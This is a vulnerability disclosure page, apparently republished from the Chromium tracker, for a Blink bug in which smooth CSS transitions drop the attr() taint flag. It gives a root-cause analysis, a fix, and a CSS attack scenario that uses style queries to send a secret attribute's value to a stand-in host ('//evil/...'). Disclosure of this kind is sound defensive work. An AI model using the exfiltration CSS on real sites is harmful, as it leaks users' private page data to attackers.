Skip to content
Info disclosure Advisory Advanced CVE-2026-79293

Information leak in Animation (CVE-2026-79293)

A security bypass in Blink's CSS animation logic allows smooth transitions on registered custom properties to launder the CSS attr() taint flag. An attacker could use this to exfiltrate sensitive DOM attributes via CSS-only style queries.

Google Chrome

Originally disclosed on Chrome VRP

  • Fix shipped in 3 months

Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A security bypass in Blink's CSS animation logic allows smooth transitions on registered custom properties to launder the CSS attr() taint flag. When a numeric custom property is smoothly interpolated, the taint status is discarded, enabling potential CSS-only data exfiltration of sensitive DOM attributes via style queries.

Affected files:

  • third_party/blink/renderer/core/animation/css_interpolation_type.cc
  • third_party/blink/renderer/core/css/properties/longhands/custom_property.cc
  • third_party/blink/renderer/core/animation/css/css_animations.cc

Estimated timestamp from git blame: 2024-11-29

Root Cause Analysis

The security hardening designed to prevent CSS-only data exfiltration via attr() relies on marking the generated CSSVariableData with is_attr_tainted_ = true. Tainted custom properties cannot be evaluated in conditional queries (e.g., if(style(...)) or @container style(...)) without propagating the taint, which ultimately blocks URL resolution in ConsumeUrlAsToken (css_parsing_utils.cc).

While discrete transitions preserve and propagate the taint via CSSDefaultInterpolationType::Apply (which applies the ValueMode::kAttrTainted flag), smoothly interpolable custom properties (such as registered properties with <number> syntax) bypass this protection.

In third_party/blink/renderer/core/animation/css/css_animations.cc (lines 2659–2712), when a transition begins, if both the old and new values are smoothly interpolable, both start and end interpolation values are successfully resolved. This causes the discrete transition fallback block if (!start || !end) (line 2660) to be skipped. Consequently, the logic that computes is_attr_tainted for custom properties (lines 2691–2701) is never executed:

C++
if (!start || !end) {
  ...
  if (property.IsCSSCustomProperty()) {
    is_attr_tainted = (old_data && old_data->IsAttrTainted()) ||
                      (new_data && new_data->IsAttrTainted());
  }
  ...
}

When the active transition interpolation is applied, CSSInterpolationType::ApplyCustomPropertyValue in third_party/blink/renderer/core/animation/css_interpolation_type.cc is invoked (lines 451–464). It calls StyleBuilder::ApplyProperty with only the ValueMode::kAnimated flag:

C++
StyleBuilder::ApplyProperty(GetProperty().GetCSSPropertyName(), state,
                            *css_value,
                            static_cast<CSSProperty::ValueModeFlags>(
                                StyleBuilder::ValueMode::kAnimated));

Downstream in CustomProperty::ApplyValue (third_party/blink/renderer/core/css/properties/longhands/custom_property.cc), the applied value is a resolved numeric literal (e.g., CSSNumericLiteralValue) rather than a CSSUnparsedDeclarationValue. Therefore, the declaration pointer resolves to nullptr. The taint flag calculation (lines 216–219) resolves to false:

C++
bool is_attr_tainted =
    (value_mode & static_cast<ValueModeFlags>(ValueMode::kAttrTainted)) ||
    (declaration && declaration->VariableDataValue() &&
     declaration->VariableDataValue()->IsAttrTainted());

As a result, a new, untainted CSSVariableData represents the custom property value on the ComputedStyle object, laundering the taint.

Potential Attack Scenario

An attacker could follow these suggested steps to exfiltrate sensitive DOM attributes:

  1. Register a numeric custom property via CSS:

    CSS
    @property --n { syntax: "<number>"; inherits: false; initial-value: 0; }
    
  2. Bind the registered property to a target element's sensitive numeric attribute using attr() and configure a transition:

    CSS
    #victim {
      --n: attr(data-secret type(<number>));
      transition: --n 10s steps(1, start);
    }
    @starting-style { #victim { --n: 0; } }
    
  3. Use conditional CSS style queries to selectively resolve URLs depending on --n's value:

    CSS
    #victim {
      background-image:
        if(style(--n > 4096): url(//evil/gt4096); else: url(//evil/le4096));
    }
    
  4. Because the transition launders the taint, the conditional evaluation does not mark the resulting URL tokens as tainted, bypassing parser-level URL security checks and initiating the tracking requests.

Note: These steps are based on static analysis of the styling engine, as we do not currently have the environment to execute or run the proof of concept.

Suggested Fix

To remediate this issue, the styling engine must ensure that custom property transition/animation interpolation propagates the is_attr_tainted state during smooth transitions:

  1. Update the interpolation structures for registered custom properties to carry the is_attr_tainted flag inside their corresponding NonInterpolableValue sub-classes (resembling how CSSDefaultNonInterpolableValue tracks taint for discrete transitions).
  2. Inside CSSInterpolationType::ApplyCustomPropertyValue, extract the taint status from the NonInterpolableValue and propagate it as ValueMode::kAttrTainted inside the ValueModeFlags when invoking StyleBuilder::ApplyProperty.

Evaluated with Chrome root at commit: 5133b93d189b383c37805b1cf3a9d2dbfe8d7379


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there's no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

The original report as published on the Chromium issue tracker. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the taint flag is only propagated in the discrete transition fallback path, so smoothly interpolable custom properties skip the taint calculation and produce an untainted value.

Impact

An attacker could exfiltrate sensitive numeric DOM attributes via CSS-only style queries, though the report notes the steps are based on static analysis and were not executed.

What the attacker needed

Attacker can inject CSS; victim visits attacker page; target attribute is numeric

The fix

The styling engine should propagate the is_attr_tainted flag during smooth transitions by storing it in the NonInterpolableValue and applying it as ValueMode::kAttrTainted.

How it was found

  1. Register a numeric custom property with @property.
  2. Bind the property to a sensitive numeric attribute using attr() and set up a transition.
  3. Use conditional style queries to resolve different URLs based on the property's value.
  4. The transition launders the taint, so the URLs are not blocked and tracking requests are sent.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSS has a security feature that marks values taken from HTML attributes as 'tainted' so they cannot be used to load external URLs, which would leak data. This report found that when a custom property is animated smoothly, that taint mark is lost, so an attacker could use CSS to read a secret attribute and send it to their server. The report is based on reading the code, not on running an actual attack.

What is Info disclosure?

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.

More from Google Chrome

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Information disclosure

The lesson behind this report.

Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.